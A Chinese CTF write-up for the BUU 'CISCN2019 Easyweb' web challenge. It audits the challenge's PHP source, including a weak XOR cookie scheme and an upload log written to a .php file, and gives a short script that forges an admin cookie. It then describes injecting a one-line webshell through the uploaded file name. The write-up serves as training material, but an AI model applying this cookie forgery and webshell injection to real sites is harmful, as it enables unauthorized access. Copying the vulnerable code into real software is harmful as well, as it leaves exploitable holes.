BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

Posted joker-yan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1相关的知识,希望对你有一定的参考价值。


前言

没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~


不是很清楚BUU附属的源码是不是与比赛题目所给的一样,如果一样的话,我看其他大佬的WP都有BOOL盲注的出现,但是我直接审计源码绕过了SQL注入了,所以很好奇是不是有什么差异~
所以我仅说说我解BUU的过程

一、源码审计

个人审计用到的几个比较重要源码:upload.php、config.php、function.php、user.php就这四个了
这个是function.php的源码

<?php
function encode($str,$key)
{
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return base64_encode($tmp);
}

function decode($str,$key)
{
    $str=base64_decode($str);
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return $tmp;
}
 
function is_login()   //只要cookie 中含有username参数,就可以绕过
{
    global $username,$secret;
    if (!isset($_COOKIE["username"]))
        return false;
    $username=decode($_COOKIE["username"],$secret);
    return true;
}

不难看出有三个函数,分别起到加密、解码、登录功能
这个is_login()函数用到了function.php里面的函数decode(),而且还使用到了function.php里面的变量$secret。
所以,之前知道这个变量的重要性就来了,我们可以通过在cookie中修改username的值,从而绕过is_login()函数(后续会细讲~别急)

下面是config.php的内容,一般重要信息都会放置在这里,所以我们获取到了那个关键的$secret(留待后面绕过登录使用)

<?php
//close error report
error_reporting(0);

/* mysql connection */
$mysql_host="localhost";
$mysql_username="root";
$mysql_password="xxx123abc";
$mysql_dbname="ciscnfinal";
$con=mysqli_connect($mysql_host,$mysql_username,$mysql_password,$mysql_dbname);

//secret
$secret="!*(fp60zoy";   //跟function里面的加密有关

$username="";

下面是user.php

<?php
include "config.php";
include "function.php";

$username="";

if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
    header('Location: index.php');
    die;
}

if ($username==="") //在cookie注入admin后,$username就赋值了
{
    $stmt=$con->prepare("select * from users where username=?");
    $stmt->bind_param("s",$_POST["username"]);
    $stmt->execute();
    $result=$stmt->get_result();
    $row=$result->fetch_assoc();
    if ($row["password"]===$_POST["password"])  //验证我们输入的密码是不是对应数据库内部的密码
    //这个有点难搞啊SQL注入动不了
    {
        $username=$_POST["username"];
        setcookie("username",encode($username,$secret));
    }
    else
    {
        header('Location: index.php');
        die;
    }
}

$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;

if ($username!=="admin") 
{
    echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else   //判断是admin后,上传文件进入upload.php
{
    echo $admin_html;
}

我觉得注释我说明了一些关键信息,这里不加赘述了,主要是起到了登录的功能,只要绕过这个user.php($username=admin),才能进入upload.php

下面是upload.php

<?php
include "config.php";
include "function.php";

is_login();

if ($username!=="admin")
{
    echo "You have not permission.<script>setTimeout('location.href=\\"index.php\\"',3000);</script>";
    die;
}

if (!$_FILES["file"]["name"])
{
    echo "Please chose a file to upload.<script>setTimeout('location.href=\\"user.php\\"',3000);</script>";
    die;
}

$file_name=$_FILES["file"]["name"];

if (preg_match("/php/i",$file_name))
{
    echo "You cant upload php file.<script>setTimeout('location.href=\\"user.php\\"',3000);</script>";
    die;
}

file_put_contents("logs/upload.log.php","User {$username} uploaded file {$file_name}.\\n",FILE_APPEND);  //写入某个文件
echo "I logged the file name you uploaded. LOL<script>setTimeout('location.href=\\"user.php\\"',3000);</script>";

最后一个函数file_put_contents()是一个关键的函数,一般可以使用一句话木马来getshell
分析:判断文件名合法、用户是admin后,就直接将admin和文件名写入该日志文件中(所以这里就存在一句话木马漏洞)

二、开始冻手

1.伪造Cookie

代码如下:

<?php 
function encode($str,$key)
{
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return base64_encode($tmp);
}
$secret="!*(fp60zoy";
	
	echo encode('admin',$secret);
?> 

=>得到了:QE5FDx4=
这个就是我们cookie中username的值。
只要保证cookie中的username=QE5FDx4=;
那么久可以绕过is_login()函数了

2.上传文件

还记得我们之前说过,在进入upload.php之前,需要经过user.php,这个“user.php”在这里做了两件事:1、验证身份;2、选择上传的文件,并上传

我在hackbar里面传cookie失败了,它无法传递Cookie,这就让我很为难了啊~,但是直接使用burpsuite抓包还可以有返回值,由于我需要使用到页面来选择文件,所以我直接在user.php网页中手动加入cookie就解决了(按F12去添加cookie即可)
然后我们就来到了

3.getshell

之前代码审计环节的upload.php有一个waf是针对文件名的

$file_name=$_FILES["file"]["name"];

if (preg_match("/php/i",$file_name))
{
    echo "You cant upload php file.<script>setTimeout('location.href=\\"user.php\\"',3000);</script>";
    die;
}

下一步就是我们通过抓包修改文件名来完成Getshell了
在这里插入图片描述
返回了下面的内容在这里插入图片描述

我在BUU上直接使用一句话木马失败了,所以我先试着上传一些文件名友好的文件(1.txt之类的)
进入:http://4538e7b4-6a7b-403a-a074-3587f897ecda.node3.buuoj.cn/logs/upload.020598b5c37fc1206644e58debc8ecf2.log.php
发现网页出现这些内容
在这里插入图片描述
最后我们抓包修改为:
在这里插入图片描述
返回的结果还是一样的,说明上传是成功了,但是能不能访问还是问题,网页无法访问一样不能进行蚁剑连接。
在这里插入图片描述
再次访问
http://4538e7b4-6a7b-403a-a074-3587f897ecda.node3.buuoj.cn/logs/upload.020598b5c37fc1206644e58debc8ecf2.log.php
在这里插入图片描述

说明可以蚁剑连接了
在这里插入图片描述
启动虚拟终端:
该处使用的url网络请求的数据


总结

最后抓包修改文件名再上传的时候,如果网页无法访问了,就只能重启环境再弄了,这个应该是服务器的问题吧~

以上是关于BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 总决赛 Day1 Web4]Laravel1

[CISCN2019 总决赛 Day1 Web4]Laravel1

BUU-WEB-[CISCN 2019 初赛]Love Math

BUU-MISC-[*CTF2019]otaku

CTF pwnWindows下尝试栈溢出执行任意函数